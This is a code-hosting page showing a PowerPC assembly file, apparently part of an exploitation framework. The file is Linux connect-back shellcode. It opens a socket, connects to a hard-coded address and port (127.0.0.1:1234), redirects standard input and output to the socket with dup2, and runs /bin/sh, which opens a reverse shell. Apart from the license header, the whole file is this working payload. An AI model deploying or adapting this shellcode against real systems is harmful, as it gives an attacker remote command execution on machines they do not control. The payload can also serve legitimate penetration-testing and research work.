Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/unixasm/lin-power-cntsockcode.S
Views: 11766
/*1* lin-power-cntsockcode.S2* Copyright 2008 Ramon de Carvalho Valle <[email protected]>3*4* This library is free software; you can redistribute it and/or5* modify it under the terms of the GNU Lesser General Public6* License as published by the Free Software Foundation; either7* version 2.1 of the License, or (at your option) any later version.8*9* This library is distributed in the hope that it will be useful,10* but WITHOUT ANY WARRANTY; without even the implied warranty of11* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU12* Lesser General Public License for more details.13*14* You should have received a copy of the GNU Lesser General Public15* License along with this library; if not, write to the Free Software16* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA17*18*/1920#include "linux-power.h"2122.globl main2324main:2526cntsockcode:27xor %r31,%r31,%r3128lil %r29,__CAL2930# socket3132cal %r28,-511+1(%r29)33cal %r27,-511+2(%r29)34stu %r31,-4(%r1)35stu %r28,-4(%r1)36stu %r27,-4(%r1)37mr %r4,%r138cal %r3,__NC_socket(%r29)39cal %r0,__NC_socketcall(%r29)40.long 0x44ffff0241mr %r26,%r34243# connect4445cal %r25,-511+16(%r29)4647/*48* The following GPRs result in zeros when used with liu instruction.49* %r24, %r16, %r8, %r050*51*/5253liu %r23,0x7f0054oril %r23,%r23,0x000155lil %r22,0x04d256stu %r23,-4(%r1)57stu %r22,-4(%r1)58st %r27,-2(%r1)59mr %r21,%r160stu %r25,-4(%r1)61stu %r21,-4(%r1)62stu %r26,-4(%r1)63mr %r4,%r164cal %r3,__NC_connect(%r29)65cal %r0,__NC_socketcall(%r29)66.long 0x44ffff0267680:69# dup27071mr %r4,%r2772mr %r3,%r2673cal %r0,__NC_dup2(%r29)74.long 0x44ffff027576ai. %r27,%r27,-177bge 0b7879shellcode:80# lil %r31,__CAL81xor. %r5,%r5,%r582bnel shellcode83mflr %r3084cal %r30,511(%r30)85cal %r3,-511+36(%r30)86stb %r5,-511+43(%r30)87stu %r5,-4(%r1)88stu %r3,-4(%r1)89mr %r4,%r190# cal %r0,__NC_execve(%r31)91cal %r0,__NC_execve(%r29)92.long 0x44ffff0293.asciz "/bin/sh"94959697